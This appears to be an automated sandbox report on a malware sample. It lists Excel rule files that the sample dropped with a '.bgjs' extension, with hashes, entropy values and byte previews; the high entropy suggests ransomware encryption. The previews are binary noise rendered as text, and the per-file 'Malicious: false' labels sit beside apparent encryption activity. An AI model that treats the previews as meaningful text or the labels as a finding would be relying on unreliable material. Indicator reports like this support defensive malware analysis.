Preview:	<?xml.....$$..r....R.@..z.m#X..29 .....[......#3.....d..{+.x......K.Hb..2g.])....M..<.x......`....y.d..r`.q#....vxI.w}'!p...E.....-.5T@.$..yY.Q.z.K..Y<..$. .f.....`._..YNk...j..F\}.,$Utf.3..(Q...~"..}4.j:.K...C.....x,hJ..:%l...z....z.hee}V........+.u..vJ..8.....7\h....U..&\Z....E.C..<8....B.Q....^..#.r.Z.\..I.:...n......'.{.3...HF.c..y..w..EB..~....9...C.e....._.D..)c9.H..K..U.y.....Qu#........0n...8..%].<.\.p....r&.R....M...].%-$...*M...../..FVA.-.F....}T.qQ....4..7.+y}.8?-H..+.\|K.E..A:g.W..\|.R.........Z.{.e@.n..+.P.(.Y.Q~...C...^...........h#.......0t.....Z....dV{9.M.Ei=9.3O.Q.,.0...X:.>n..L....t.I.w...oo.7.r.O.....z....:L...uSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.894669632293655
Encrypted:	false
SSDEEP:	48:tnzVwAzoQNnsTHWkzDe/H+ykQTTvjl2wvD:tnppoQ9sTqAQTTLZ
MD5:	54C28748D5DB5748207336EDF8B6B3F0
SHA1:	573CA8AAB994F9684352704FB2C5E1E44DC25B6A
SHA-256:	309BF3340712580ACA8E9C19774981E7492A2B73AA253336A35E1B816702BA28
SHA-512:	901432814EC9D276715C4312326465263456D022D80C2AD7ABDA0B4C25E39B72F556FAB4323306C5DF6C1B29282E2171ED11BB3C3F518DB8669419FF7DCCDB46
Malicious:	false
Preview:	<?xmlR..D...2..:g4[8.IN.z..t2...Y@.6.\|S_.(.qT.BRH...0(....J...dUw.s....#6....1..[~...E..L....A."S_...S...;QB..c..u..9...e..v>......IG4.....@...3..0....$.... .lo.R.P!.m..}...R.D..E;h.Sp...V$.A.....!.....Z......}...'"....Z.X..8..oM.R..ot....B.......LP.@.......m.[^...$N2..'Yaw.=K.\|....~..".V...a.<.%.F...6.9.&X.n.BO4{]1......L.^.R.'.,.....M+N...s.....}...h7.....k6q#{1jN,.<[..\|n.&{.$C.\|../.>R.90.C#.,....R.....f.......4>8u........Y..&.B.c..5.k.FM~...R....KwZT...Iy.x\_2b.UI.=+..OjM...L......b...Z...)Q.v..9.........u....;.K..........>"..gVK..-./yN...v.vA.E.....g...r....m.@.{.,.H.@...S...._J..n.. ......$.,.'a..\|...eI..1J.+c....X.j.y.1Q........`..M.&.$4.....Cm.ds....\|..l\|.+..S....F.. c.!\ x....3.TB....H.`.?.....+.....r.[..Zm..Bg...LT....l.<%Z....a..\|...`....d.o..#.L......R.......cISh1.i.kGg.qf..J..2..B+]1....G... .d..w.....@.Bd].AT.YZh..:_.l.+V.R;...".!.[..U/L#.y.VA^..aJ.x"..c.[-..D.V.t.(,..~..B..q{.y....,.Q.r.d..G........`#...h.i.....bP2.P...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.755220300106363
Encrypted:	false
SSDEEP:	24:HQOGoZL816vpG/peJjtYy8O7wPnUp4RCVmoyETkAkYbD:HQW4eG/SzKy4RCVByZAkCD
MD5:	9C45A97AC147890E06753A2961881FD1
SHA1:	4A9B06076CEB02DFDAC72DFDD68436411475DF27
SHA-256:	E494543C67DF2912DCBE3D62B8E856EFBEFE0495FE815F667A71939FB4B956BE
SHA-512:	BA52A39B661661F79C1B9EFCF3A3C2180CFBACE7A2415D337C54565F0955B7F1EE706D020737AD500AF862FCBD0267FCD10DE3B68A580C4258EB9E5759E5F1A6
Malicious:	false
Preview:	<?xmlos.......ACG(W.....B...;]...F;.W6/.?..e....[!.?M..A...>.....k2...H.:.....2..\|_....0x....^..).Z..... ..)wF.g.....a.Gd.2..p-.....v.4.H.W>..+..}.K...z...@QZ..1.&k31J.u...sf.Xq..x5C..9... ..W.A...,N.g..2..c...C...p."JS-.].}CR...oH0}V...$.....\._..3.tC..<.......1.\.......fm...17_..P._9b"..K..../..j.R.}32iszO......=i.H.\..:...z.C.H7_..D9...[...y.U....FK.61.....S.o.....je..s....3.^Mf....!Y.g.._6.......<O..X..nV..Z..n....,b{....ZM..[...^.<:-.B)..ib&h_....1...a.x.Z... ..}yH....p..J.P6_Y.....)f.\|.?I;*.D0...Q...."q.3.TY....>{...T..mL)20.....x2.......=.[^.. 8s,....^hI..o..}P-PH.l.0.7..c.l...<..F'3.\|.&...x9Y.....b.A..3...A.~...,.....)..P^...Y.\GM.....+.F..sD.n..x.V>...6.VYr#."...-S.....M...Gp.n .R...".......O..$Q...6....w.M..b...y.\$X...K...a.^.../.;_..5.5V..>3..Z].SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.865992332595533
Encrypted:	false
SSDEEP:	24:AtqDPNn0HfdcGZiv3gyXzFdsd/Ie6IWJ+/Usx9i0slhQZiBC09MyS0bD:PDFwCH3PXAFbAVsx9i0AF9LD
MD5:	4178CD3322C2F8DB85A722409DDB4AD6
SHA1:	4AFF6C1367A3748C2DC53408B85A3588E7324E8D
SHA-256:	20CCFE076845B252198FC315B066F387158AB3AA642A99D54B7D53313805DBB7
SHA-512:	69F3044B75D63075B3BA32D9C7D684D07913FDE7092EEC2F3CAC095105E41360E5F71AE2DA974ADDAE9F7E493CEED16D0A149094D92D95F127A3EEB7083BED08
Malicious:	false
Preview:	<?xmlApx5.......e<.t....~...c?...W.....K....+.\|....W..h.v.eH.!.. ......!...C....x.E....^2.4....w..G.eLC.wE....1....H..R..{.;8.P..^.g..yPh.G.....b..N......D.b[.(y}..ad..........K.5F...ouV`r.$R.j..sj....VMz......ql.Zx.d.".\!.DS....t.)...../...}.....i...F...R.. ....PQ5....3.....Tn....HM......M.&.6..U.0.V$cc..;.Z{..2......u..s. Lz.J.tGaS... ....[. .6yN.8M.O...8h-.\...T....).2.}K....F.p.....k.G...w.m.Z]."7...@...I..ig.....s.{O.........iz..1....C.>w..>.[}.NOq\|.....7#..........(..p.M...gj.~_5.}m.\|..iR.F>f.b.n.......,..".Z.K.t?\|..@..*..2..T..N.d.S..M..c..D.>.4<b.......r.h_...-[.c\|...!....C.[.I.&\|..n..dP.eq..)38!......e.w..<n.f...EUa.M+.!....y.....F..Z..`bLaF~D...l.-..v&...X.h.+aN.N.X....uI........O..(B.q s.3.3T...$..>...v\|?.l\|6..D..v...vh........9.C......R.s.B../...O.$[y1...cTW.`s....R...s.7S..=...b...a.`ej..8I..7.r.........~..,..&..[...$.V~c_....>...!.g. ...gET.v..........."..#.G\|......y.{.:.....I.\.8.EB...!..T.!..@....h/....7..H.s....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.881603737335157
Encrypted:	false
SSDEEP:	24:V5yFDJm9BGUC+vggwCx4kQ7LMMfMf4HxOvUE20tCKamZqU4OcAOKaMzmmWYbD:6xJosUVwU4o54HxOvUE20gKhB+tF9CD
MD5:	243929FFC9590A50EA64B19D7185AB4D
SHA1:	A6FF535DF16B3711668ED521ED1ED1DD79E37E0C
SHA-256:	50EF87796B689E860179C5731D3E03B94ED711D60612E0FAF31350A046B50C20
SHA-512:	B4DB2CA89D9908296E745C5EE8921E081B6F10873B7099890A38F41D00EEA0E7275A46A57E8DBF07B6772DFD04601D5AAE3EC962464801CB564F86370D2F7A9C
Malicious:	false
Preview:	<?xmlL}........Z.9.$.SR.....=.+~O.c...k.K.&..$.......y.k....!.vO%..m...,a.Q...I@..x.F....yM...g......x... .e`\!..e.)M..2..._. S....(.i..Xm..Zj_\|d.a._s..)V...~ ....vP......Q..hw....I.%jNc".8..(.....\.....w...:..&1.:.#.}........\'..3...!EeIY..B.:.m.......U..$...z......;..nB..%p%.'..B.....sF6.T..c'B......R&..oU4)dcS=.W..?CFv.m.,..).<.....L....n]..BG.b ....C4.....,l$?......?.dR.hyd.t.k.....5.>S...O..{.. .+.......E[A.Q..>@..e.tY...P....~.-T.=.#..g.v.2.r..r....#d..{k.....2....-..+...Ga.Z..U,..L%W.tx......&p...wR....L.>.;..._o..3..>A.....B.o9.c....a...+:.UV]....CH.s.....9..U..b...Gp..so..'{...?.&N.......L..F....!0.......W...?r.`.....JMo....{%8Kc.\g.x.3..r....h.4..).N......(tg.....p.......C.Y+. .........}.^Z..8..7.c6S.......<.UU.f._....~.+.Dg.miig.......a.......d.. ..$t..=..I..._ec%...Z./...nr.j../D ..G..\|...f.+p_Tc.vP..g..7..].b......>DR.Z4...r..QA.Xw.0....?./w.N..8....n8.{..pb.<w....@I....h.....]....}.......7....)G...r.#;NR.T.g..x.5..A....'

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.973013860392521
Encrypted:	false
SSDEEP:	192:NHVU5TpCWKqmawaM43XtUXPldT6VOne6/Q1nbnIwy+ryg:ypMvg2XPl2ymbIwyuyg
MD5:	DE0AC4EF6C1409144450BB0EA585D088
SHA1:	7A1D562EDB82B5F98E47CBEE31473CB5B1845ECE
SHA-256:	9A9B4F4747C8B2BBED5F3D1B40ABEE59F5CEE5CD52A762FE3AD0E22BDDBEC4AB
SHA-512:	5EEF595364BEBDEBAB71DD47B0390743379EE3D2C90E468844C056CD4EE57DF64F9F881206DD470D7CF94DC1BED07FBF87D7AAC8929980E1237557F81A405436
Malicious:	false
Preview:	<?xml._..Wb[...l\|..\....S...+.O.$.8.......L.<.l.K.Q.'...+....>...u........i..v.....l.(n...}..t.. .(.?t......xl.T.....R.....!...`...\|F..dy;..M...n.(..Co..NL..(c.@.n+xo....f..1....I......3.s[:......p......L......WY.^cMy......#./p....l..-.R...eR/.+...~.....J.....(1..~.\|.7..V...X.-.0..f._\|.~....C&...o..l=..M./..g. ......D..[$...A\.a....I.....{"..q.@.\.gDc..K...H....G.j....t....am03.q".GK.E.VK.P...`...]m.6DB...K..hi..X{..(.).<k.}....z;{.o.R.I.....bx.?!..j......K.B.$]?3.....Q...{.&.\|\|...@......FI...<....5..h...W...:.c..nA..rB..'..p.c.....0......ux\.;l7......s..c..]...E...5/..C...r.7..I}.B.q....QV;"T.P..=...t'78D_...z".5\|#..(7,.=..0.\..d........4,Z.e.7O.e.kw.XJ.UA.h.)>..j.....%:c.....#...7.`4..P.U..S_....wT...J!......I..".../B..5..42*...9....8ES...D.n.A..B.jj.1....{. hU..D...S+...D=U.....TP...(...' ..p./ Y.XY..z.w...\....KSZw..r.t[\|..R..\|.Ej..r..=.4Z..w.\|.1R..u.a..<7.5Bc..'Q...A2..F.E.2...;.1..E....g...y......".N .VZ4...... ...g-.^`.N..+.[

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.7364625309421635
Encrypted:	false
SSDEEP:	12:LBWixha3YKfJJSv9oSL7MT6LNDltaIEuZpaxXTpuA7yg9DPZ/sPwbWbIiVFahliT:LBhYIQSvSSPRtPXQpjBsoCfb8ObD
MD5:	91C03CF35A125CF1F813137C7D71CA00
SHA1:	F144845A49603B03441C2256F5D8E8237C20F0FD
SHA-256:	74A7D23DABBF4EA76BFC2F7CB50E9CE66FAC3FB7F8E11CF9381BDC5F4CF5BCD1
SHA-512:	43C517858400EA54801849886C68483EE535B65FA84A06159590E85C0281B12E03C7C89BBE74CAC72F02A4EEA434EA9DA095A90E33B3D763506B05BDD0D9258C
Malicious:	false
Preview:	<?xml..g...>...N.Yj.BN.}.V......0NP..V...Pt...ot..Dm..VLo...]3.zX}.$.%iB.B.!SE.+..)a..\G..ML>P.2.C..L......"a.....fr.sj.:......B......Z..i}9.:..U../...`...1E.. \|.sw...l.l.....y..>.*._.l........qL..w.<...4.o...[......+Q..s.:!6..d.`.\|.L..J.(..7.......8..%.?.C..S....X.ax....k...Q.......hE.J:...d....d.\h}.(...4.w.'..<.:w....V.KO....YOxk...L..Z.W!:c5.).X.2\|l.e.L%.._.~&..>...jn.@...^.$Fm.....y...a\|.I...!.x..ng.<!..%Yh.{.y.6Nv.;T...3.Fb^./.M`.WM...jr.]..W.k.Q...OG1YKFP...Y.X..._..V..W[.....K..b...L.k?x>.hG.....C....(!{.R.q%."...x..jR..{:...C.F.....A..w.cVL@..9.....e.....Y..]..K0..G6...w<.).T{....#.@.p...Z.G{/.".%...}.'.V.aX....o.D.O..I.=.;.U.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.845398195702181
Encrypted:	false
SSDEEP:	24:R4G3F2hkASp0oTJLoyLat+vzC+lKMhvUQv4+8gQmoDr9ZpJWeVxHe1fbxEPXeaYf:R4G3FJAShvTCPMgTTpJWex+1fbxEGlzD
MD5:	F9E55928CECBF5FB860C9B8B8DFC9B12
SHA1:	6A3BE3755AFC8A01EE0FC7472C6FB701391CFFD6
SHA-256:	15B8265C63DFE0E3E198064C48D44916C41F656D690B01FC976DA39B73235B8C
SHA-512:	337CCB3311D2BD2EDE5C31340C403D07BFF000B93939FC173036661966744B25F1D3EB6BE84879D1306ED710F15283ECA7C976B3139F8735C8A4EC29AA13668F
Malicious:	false
Preview:	<?xml...W.\P.:0x...r.a..B.f.. J.@...k=..L...w.!o......sv..t...{..\|.6\|2H..7l.m.#....D...m}...\y.#K........Cn8..r../...-"....B.....+$h..,.....7....\|e.w9..V.4_...1.....#%..K.X.0. .m..`.ls._.l....)7._........i...5s..l.r.....B....~.6.l!N..E......qc..t.9_........R.....wI..P{.T....WH...5~...U..9{.........7:.?.wE...n(.4%..Y..6....<e........@......,.......-Pnv}x.e..1.{a;.X.8s:..COq.2y...3.....=..388ee.e.x..gA.<'.7pFa%...D.....qyg!o1ZZ..\.B.E.0v....J......2''..m+.<.E.<\{..^.W.Z.'.d2.>.....Z.~.a%5......&pCY...8.y2J......R.G..3H.3~.o.N..An.v05..a...a..n...m..f.j.-d....q.E=.hS\.+.D\..n`..f....... ....qF..y.....d......~i..hS.9..j.w...G...=B.j.H...\..xB.....k".As.u.,A.^3.;G...)%.].JS.n....L@..#.....n..WLY...FLl(.\|<....AL7..tOt[?..).}.K...D-{.lnn....gB..j.X(..:2.8..Ugv...W..*...f......y..\>.Fb..=.1...........b.r..(.#2&..`..G..@,y.)#..}\|t..T.s.Q.=.......{}.-......Qb..#\|....#...LL<'7.......i=..d...!.mQ..L\|...?\.JM.4..e.o0~....c..v.R...~[B..,...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.946298740227633
Encrypted:	false
SSDEEP:	96:1GwTrn+QUtFDS2XkmM257vZZH3TL5VpmkbNPgvwJ:ZHIFDfJ7vZFrpvbyvS
MD5:	055400C7AD03BE726DE98D591986B9B2
SHA1:	751A24EC6A729572B43B54491D77A4DE337834BE
SHA-256:	1A1511EBD517F9BF1EC640BCE0661813764B241D9E1923482828E349A911213E
SHA-512:	3F7D6B47F3B689ADB45905610DE00F2630197996D934D0FE5CB17CA68CBB7FC6AEA84E133C731F01B3C280DE4337C58E9985DACDEE300B8AC4F455D8B12B3935
Malicious:	false
Preview:	<?xml...>.!..h)..iw..._.......... ..o.?].X>.Lj..0$.........fP.. QZ...........L...x./..].u.u..~.a.i...lC......"..U+....j.yf.....+......r.=^%H....^B..k..-8S../....Id..`0.i...\|%....MY.F...u^.d.lO..>...o.....v.M.oi.>..x..1.8n...-......b...^..d...q#.:.......f5.;.t.A.A..D.Q..dZ.......XF...O..L.8VHU...T...]{R..RY...jh...G.......5C%......ZX.U}..@..IU......e70g.......rj4.k}.RWy...H..xGT.... .......tB.....Tv...^.Wp.^@..0.S...<.TWX..,.HaR.._...61LR8...H..S...r..p.....C..{.....f..Il.z...Li.-.?tP.....O..z.b.wd.=.n.BM2..d,...9...o.8.Vy..-."..O...,...Z.<....+.2.'.7...py........r...".....Q..E.8..Y.s.!....q..{.....9...;.,.."v....@..>H7,f./..W.0>..LKz..R.s.^...h..Q.'.%[!.....H.....=.z.y...E.....Bj.7._.s`D...!Ct.'...7.#aC)....~.G.{.....n...S....V..g..^..p.~.)f.v...O}.q....$1.3......Se_.4..Ro-?.l...%\...G.......)........3.m6......<K....WhL?..m ..*7.;...&(.6.[M.upcc..{......:j.....(........K=.53.(.....G...e...m.tcx-.:..2..!'.)KA....F@.%.........p.&....G7...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.784996678264122
Encrypted:	false
SSDEEP:	24:7MnCl/ERBMoFKK6gFEGF4sAclTv4SC9WMpz/sbD:7ZcBMoFJ1F4Gb4fBpzOD
MD5:	5D6FC48DCD03F89A16AA70B02A0D499A
SHA1:	D58D85DCB9531A07C75B07848B7B5C2C1A00E6A7
SHA-256:	284703ADEAD0721F0B967FB7AC5D7F18DB002922B6EF08A551B5AF5F37B19D8B
SHA-512:	C21E7D948B23D7F24EFDD500C610D5156E5EB7ADA0B0BFFEDE86FD2C22B353EE5EC24AF6D659C06D45885375BAB06668D61DEE437EB0E4CF49CC6448F5CFE0E1
Malicious:	false
Preview:	<?xml.8W......j..._.xTm3....~... ..&.......E..-1I....P.........So....!..H...1....r.. z.y. ..3A..7......Aob.....M.i7.y.:&...E..,5_..WQ.....\|...W.v.A..M..C....T...........c@nz....J..X....g.\|..R...(.=JE>../.K.Y{/F".b.Y.'.V.P...1.k\..../.M..4.....z.jy..p...\|.M?..nw...k#...R.........eJ..P.JM.....Rw<..Q.o..?......4..@%4f.JQf......A."...Hi.....CB.....x..~..N.Jr....K..0v...I.b....sN..#;..5..x.0...N:!...+.'.n..Q..A..=...p.....X..q..f.Fq..Rw..Z....dK#8..O`?......l.V........S......S...jX...P...SC.J..Z.QbH..V....G8...B...;.C.d..Q.t..z.$M...Ej.xTQ./.y=.H.GG.O....G.g...2.eb(.!.S.J6.D.`.....<....m..x....am5]A..!..qW...tm>.U..J8..-u...'5b..c....].Bo..<.......$q].&..?Rk.......S.tx..<..Y?..m..tox...6..I.....t.......4..atu...d.H^.y.,.^.\..s.%..u....kl.e.Ra..)..d.J:.....#..0P,Y....p......j.B......2r~j.%.1u...z.. .-.....Z..p...2.:........D:u..H.S...Q^...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.938803235630594
Encrypted:	false
SSDEEP:	48:JSDp+vx43Eb0BzDMmbN4HQlljTdc7yOzivzD1bxZZboOsc+jQ+AUmKtWv6r6TIzI:Zvx43IkMwKQfBc7G9Nrhsc4Q+AU3t96r
MD5:	9F1D4883BB5DF228CA6ECCED91FC1860
SHA1:	0615A3E6F51245AF2724150313035EC993ED451E
SHA-256:	7E8FDB85C741FBB2DBED4482E075146A173099D72BD51C4A7D50146C15376E7B
SHA-512:	6687D77ECD321BDF6E70549709651084BD36802FDF7E8A77B7A46AF6B0D4479F58FD2A7F3AA8C0A9E7FDD74B7D7B6E10ED54AF9369D5473940726DAB013F5CC1
Malicious:	false
Preview:	<?xml........9Vx;...E.H.`..z/..]M.SSB._zK.1.#[....0...J..;....'T..^..c3.2...8..}.`....JK".....`;]...<.&/..6...4..........?Y.".(..H...&z._.....y9..QX....qI.n.r..[U%...YM2..:Im..k....z..B...[P.w..].Q8..m:.@&.x. .....b........u..x.>Y.....3i...hH..z..gq...J.:..pu.'......f#S......B.E.#.....y+'....N.O^.8_._F...x.T..d. 6#.BG..f...l.1%B.....5]....v4...k..Pb.....I...w.g.\|..h...;.s.eG90.Ga.....[.D..P-..lO...1.1v..{..r.,.....M..? @..}?`.6...E......\|.!.0.ku..O..nS.jh~!.z..Q%.rH.%B@...O.v..E...._..{.$.6.8K...N-....IAffdz.....a.R.j...L....h"...3..!l..p...M'.^.1..o....$.(t..<.........9..M}j..Q.8............y..9....I..{....0..yP4./..e....w[....O.9 .-.z.........z.d}.\..gDc.....[..K._..z.}.@..V.1...c......R..N......J.C.)..y....2...1.J....P.....ZP..~p&....si..l..p;..}.8.]"..}.Z.^.:...q....j...L.q)$.:..v....".. ..Q....... .....;.W."R..F.....t....V.gH....=.....4}......M...._.... ..f.......3......o..@...."^.hs.......#...../_\|[.Sy.{!K..H.M..e.N@../a..^W.%.v..G./.`

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.922598577425609
Encrypted:	false
SSDEEP:	48:F9DtgDSPNm5TqGLTvfOcRYa0AFU3w0Q/YY3Gm06D:F9DtV2qKHOJ67VGm0S
MD5:	FDE2AC6AB33104EBACD5AE97D0FEB967
SHA1:	80CDF92E3AF4E66D2A33C3AFC82DE1DC3617061F
SHA-256:	15DFA683D2FB2EDD1A07EE8F426C0EEAC577A618ED7EDDEA4A96F3B48003B01D
SHA-512:	173ABFE5A105050BE3F0FE5033EFF95E19ABBA2B906ABB67B58E661506DDEF246CE434EA76305CE88A4A1CCE82609A4516F8C1200208FB9147082B5FB7FA8186
Malicious:	false
Preview:	<?xml......C..5..y\|...&_...2....67V.&...K...Z...DX(...X....7Re...Q3.=5];..:.{#0.........Gd.c-.+..G`o.....-.z..b.~W.'.\|&j;.VI....v.O..%.)S..N?.^..I........].t......+..{f..ck...{.V;j..z.9a...lO.~.n....Q..M>a!...q...+.j1}...3YV-..y.......IlV...6..5...O..J..I...`......=...S...1.-.r....@Sv.z\|J.@c..{G..S#!...{.E.;=..<..-r..\|^i\O.w......U`K%...V.r.%.<...1 ..l(.....~.d.....4./tv...P..6...B..&.`b.y..5>b...,.5.=VD&.n.t..........z/....%.GhZ\.018{.//.....A./...5.v.x..j ..!.$.b.`v.hL-P.....x.).k.M+.KQaa.".L4-3../..1.....Nv.5.>..U\|...D/j..Aw.........w..d.c.[.5.Z...r...:....1...D...8..N...5.\|..W8'..S.wqEg.....D....]..<........p}k.I..~..%%......D......%n..O.n~......o...S.../E3......j .a_._y.......'.U.Xm...A(....f}....Tx+\|.q.e.'...m..(.^t..#......y2En..;k..:.J{...B..?..D9........`8I.W...B.)..6:I-^........-...n..v..CZ..%.=Y#^.y.-..........3..g..K.._G...C....0..~..}.(..g...o,TA....[..CH...t..pB...V.{s..k@Xq].....l.o..R.*wd...5.....4_d.j.s..7..n......m.p?...V....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.93628440324293
Encrypted:	false
SSDEEP:	96:x25S7IOINLxjFL8nujrwvVFY5Iu33Xcv5q:uSU7vwNFYH3sA
MD5:	4862A7FE24B0C632506EBC51D24DB68A
SHA1:	D80D058E18D0C25BD44CF272909E00F2F172F748
SHA-256:	956CF179ED99F14BDB1FB3259DBA0E0D11F9CAAA9060F7835F7381996A80F017
SHA-512:	BFEBBD8A6DCDB3E593704CB0DF48C9743537F6079CEAB0B0BFF050A4B87135824401CAB43DD5EE6BA010FCE9D84FED0C5DECFC87DC8365D04B79BC3281496321
Malicious:	false
Preview:	<?xml.....q\.W!(3..._...bej.@.N..L.oN\|...4..ha.b..O.k.8~L.n:....7...,...tf9.w..b..A..o&.e.P.....7.@.C..=n.Ua.......{.....[../S_.)...Q...b..z.r.Y.Oj.Z+....U.%....G.0...!.s.9...0.._..s.. ...,H......;&.$!.&>&.j.u.,....<$....:..Pg........Y.'P.W....=HFm"..5{a......;.x;..I..9..3@a7.Q..<...!..a`...J.Q.... mC.;..A.ku.{..zo.C.&..dB...........P.o n<...`.;.m..~....,H0#4.gb..T..N+XG{.21.>3.......v.-o&....e.8...-.f.(S.,@}.j.DW..>.4.D.V...:.._U.j.......B....Y...:N."8-...;..n.7.I....!...7.nh.>..G.......(=.I.J..q}0.}..Q...B..#7O..<L.....'._.;...W..O...Gh.~o.$X...{..w...L..-E.M..S.lt.^.us..K(.......Gg.....)..v_...wJ.o........Y+...b........7K./.....:S...t...W..8..^R..(..".Cu....TH......[K.T...L.n=.w...../.,.....>..O....J..........8...i.].._.;...._$....+I)..@...kz.jX.....T..,..:Yw3.5l....y......C........D1<.L=..s.k.......vfc..A{.%.O.p.....8...%...^.J..7......+a....)n..........+A.v.4....P..st...X....."........IB#[Eq..............g......s....g.Qw..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.961725615488152
Encrypted:	false
SSDEEP:	96:B6P6gJX1n0TqecgBkTMJz+Ubl0dc+I9wOwFUZGALobGtki:kigP4cspJt0dcl9wPFuGALobGKi
MD5:	9E8DAE617C17E356980BBB19E041D0B9
SHA1:	C6814282AA4D17D55DDD5FF5CE3EF11F857BCB4F
SHA-256:	856CEEC4F86896C8D229C899FEC86F6B87E56E0F6FF6C72052B1D5A53C8661F2
SHA-512:	73738692D22348954E1611776FD75527BEF05DE36C8A269C4EF9E44667D7F6CAFC2FE29045902680B92B2344EFC64F6B049B0F1351AF4E9DC15E724A38F2E26D
Malicious:	false
Preview:	<?xml.r.}......X..F^..iOM..6....+.....1..P.&.K..f.K..^..2.?.j..t.........>..m..j.B..!..l......7.r.uT..C.`.0.nX..a%U..S...nA..S.....f+.x.......9......Q......l....h.w.^#dc....p....z.N....n..^/...g7......:.X.q....#+<.z.n...f..R..J..:x....y..u.......y.(...p...l...7...1P...M......;....s/?d..9.9.E#..d..]0h..........J...l....Fw.OD...K".,g..?....%P..o0.wx...ee.r.3......'C..9S..+A.......+<..4.[...m.{E..U.....W....1.e.Q.4O.n....A.vF....\|.w@..."..P.....#..Q....r..._n\|....ea.?.=..[.....! 8Zu.....g1yh.......1M)Y3..O.B.p....w...........+%.`..8W..1.t....)F..(dS...0h.e.EK..Gy..O)...U...H.l...{..W.?..}).4..yH.x....<.s...Y..Z.R....O...I...+.t.Pa.i.z..&...?.Q&.i;...}.......H......... ..kSBM!H.d+....,E..C.v~........C..".8...B;7...K0..............q{....#....\...0..ft.S.H.&y............e...\....8.@.......z.cY....R?...i.."Uwq...< ...=H......._>.i&NJ../..@.N.O..&..5?sh.-.Ga..).../o....\|GW......w}..$../.OD.....0l.V.,X]w.G.`."..HPZ..}..$.B

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.975985110796492
Encrypted:	false
SSDEEP:	96:CogCzUPBz2VRryBqwbYu7KGiz+kKX+pHpPhP8F983xJW2IEZes3dfOaSZoc2xP+b:CIzCK7ryAu+VtKurhjqg11WZP6gRuC
MD5:	3CE1F3AEB11901832CDABE886A27675B
SHA1:	D4002D57E127F302665ECDBFCAC07B7E1EA0635B
SHA-256:	B70D6E2D22E6CEBCFE945F0F9A3A2D4CD0504C1E037ADC5E1B5D2734F4164C93
SHA-512:	AE6E7F150F329F39807FF67FD604E2B247CBF563BC311638D8D0B651C8F80038D0F866A0A905F10F4592ED02375EB37E9F8A45D22EE3D51B6F84661A43F00DAA
Malicious:	false
